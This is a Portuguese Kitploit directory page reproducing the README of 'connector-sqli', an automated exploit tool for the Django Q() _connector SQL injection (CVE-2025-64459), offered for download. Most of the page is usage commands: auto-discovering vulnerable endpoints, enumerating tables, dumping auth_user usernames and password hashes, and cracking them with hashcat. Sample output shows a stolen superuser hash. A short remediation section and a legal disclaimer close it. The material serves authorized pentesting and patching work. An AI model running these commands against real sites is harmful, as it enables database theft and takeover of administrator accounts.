Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/rafaelchriss/redteambrasil-cve-2025-64459
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoSegurança de Banco de Dados
GitHubrafaelchriss/redteambrasil-cve-2025-64459

RedTeamBrasil-CVE-2025-64459

NEO-SQLi — explora a Injeção SQL do Django _connector (CVE-2025-64459) | canal RedTeam Brasil

Ver Repositório
1há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

connector-sqli

Exploração automatizada de SQL Injection no ORM do Django
Q-object _connector · CVE-2025-64459

cve django python license

🎥 canal RedTeam Brasil — segurança ofensiva, na prática, em português.

root@kitploit:~
   ██████╗ ████████╗██████╗    connector-sqli
   ██╔══██╗╚══██╔══╝██╔══██╗   Django Q() `_connector` SQLi
   ██████╔╝   ██║   ██████╔╝   CVE-2025-64459
   ██╔══██╗   ██║   ██╔══██╗   canal RedTeam Brasil
   ██║  ██║   ██║   ██████╔╝   youtube.com/@RedTeamBrasil
   ╚═╝  ╚═╝   ╚═╝   ╚═════╝    uso autorizado apenas

📌 Sobre a vulnerabilidade — CVE-2025-64459

O ORM do Django monta filtros com objetos Q(). O construtor Q(*args, _connector=None, _negated=False, **kwargs) aceita o kwarg especial _connector — a string (AND/OR) que liga as condições dentro do WHERE.

Nas versões afetadas esse valor não era sanitizado e ia cru para a SQL. Quando a aplicação repassa entrada do usuário direto para Q() / .filter() / .exclude() / .get() via expansão de dicionário — o anti-pattern clássico:

root@kitploit:~
# ❌ VULNERÁVEL
posts = Post.objects.filter(Q(**request.GET))     # ou .filter(**request.GET)

…o atacante controla _connector e injeta SQL arbitrária entre as condições (vale para SQLite, PostgreSQL, MySQL, etc.).

ItemDetalhe
CVECVE-2025-64459
Componentedjango.db.models — Q() / QuerySet (_connector e aliases de coluna)
Versões afetadasDjango < 4.2.26, < 5.1.14, < 5.2.8
Correçãoatualizar para 4.2.26 / 5.1.14 / 5.2.8 (ou superior)
Impactoleitura arbitrária do banco (UNION/blind) → dump de credenciais e escalada da cadeia

Com DEBUG = True a exploração fica trivial: a página de erro do Django devolve a SQL montada, a tabela base e o número de colunas — exatamente o que a ferramenta usa pra montar o UNION sozinha.


⚡ Recursos

Explorador genérico (não é preso a um alvo) e automatizado:

  • 🧭 Acha o endpoint sozinho (--auto): crawl na home + robots/sitemap + wordlist embutida, testando cada rota pelo FieldError do Django.
  • 🔎 Detecta o endpoint vulnerável e o DEBUG=True via FieldError.
  • 🧠 Auto-descobre a tabela base e o nº de colunas lendo a SQL da página de erro.
  • 🎯 Acha a coluna refletida com marcadores → extração por delimitadores (independe de como a página renderiza).
  • 🗃️ Lista tabelas → lista colunas → dumpa qualquer tabela (UNION-based).
  • 🐚 Modo interativo (menu: tabela → colunas → dump).
  • 🧪 Proxy (Burp/mitmproxy via --proxy) e alvos HTTPS.

🚀 Instalação

root@kitploit:~
git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py

🎮 Uso

root@kitploit:~
# 1) confirmar a falha
python3 rtb_connector_sqli.py -u http://ALVO check

# 2) listar tabelas
python3 rtb_connector_sqli.py -u http://ALVO tables

# 3) listar colunas de uma tabela
python3 rtb_connector_sqli.py -u http://ALVO columns auth_user

# 4) dumpar (colunas específicas ou todas)
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --where "is_superuser=1"

# 5) atalho pros usuários do Django
python3 rtb_connector_sqli.py -u http://ALVO users

# 6) expressão SQL livre
python3 rtb_connector_sqli.py -u http://ALVO query "sqlite_version()"

# 7) MODO INTERATIVO (menu tabela → colunas → dump)
python3 rtb_connector_sqli.py -u http://ALVO shell

# 8) NÃO SABE A ROTA? deixa ele achar sozinho
python3 rtb_connector_sqli.py -u http://ALVO auto              # só descobre e lista
python3 rtb_connector_sqli.py -u http://ALVO --auto shell      # descobre e já explora

Com --auto (ou o subcomando auto) ele faz crawl na home + robots.txt/sitemap.xml e roda uma wordlist embutida de rotas de listagem/busca (EN + PT-BR + APIs), marcando as que devolvem FieldError do Django. Se você passar um --path errado, ele cai no modo de descoberta automaticamente.

Opções

FlagPara quê
--path /buscarendpoint vulnerável (default /list)
--autoacha o endpoint sozinho (crawl + wordlist)
--wordlist rotas.txtrotas extras pra descoberta (1 por linha)
--base app_modelforça a tabela base (se a auto-detecção falhar)
--proxy http://127.0.0.1:8080manda tudo pro Burp / mitmproxy
root@kitploit:~
# tudo pelo Burp
python3 rtb_connector_sqli.py -u http://ALVO --proxy http://127.0.0.1:8080 users

# ou por variável de ambiente (sem a flag)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://ALVO shell

🖥️ Exemplo de saída

root@kitploit:~
[*] Alvo: http://ALVO/list
[+] Campos do model (6): author, content, created_at, id, status, title
[+] SQLi confirmada no `_connector` (CVE-2025-64459). near "'RTB'": syntax error
[+] Tabela base: <app>_<model>   ·   colunas no SELECT: 6
[+] Coluna refletida (leitura): posição 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──

Com o hash do superuser em mãos:

root@kitploit:~
hashcat -m 10000 hash.txt rockyou.txt      # Django usa pbkdf2_sha256

🛡️ Remediação

  1. Atualizar o Django para 4.2.26 / 5.1.14 / 5.2.8+.
  2. Nunca repassar request.GET direto para Q()/.filter(). Use allow-list:
    root@kitploit:~
    ALLOWED = {"title__icontains", "status"}
    safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
    Post.objects.filter(**safe)
    
  3. DEBUG = False em produção (não vaze SQL/tabelas/settings).
  4. Usuário do banco com menor privilégio.

⚖️ Aviso legal

Ferramenta educacional e para testes autorizados apenas (labs, CTFs, bug bounty em escopo, pentest contratado). Uso contra sistemas sem autorização explícita é crime — você é o único responsável.


Feito pelo RedTeam Brasil · curtiu? deixa o like e se inscreve no canal.

Baixar ferramenta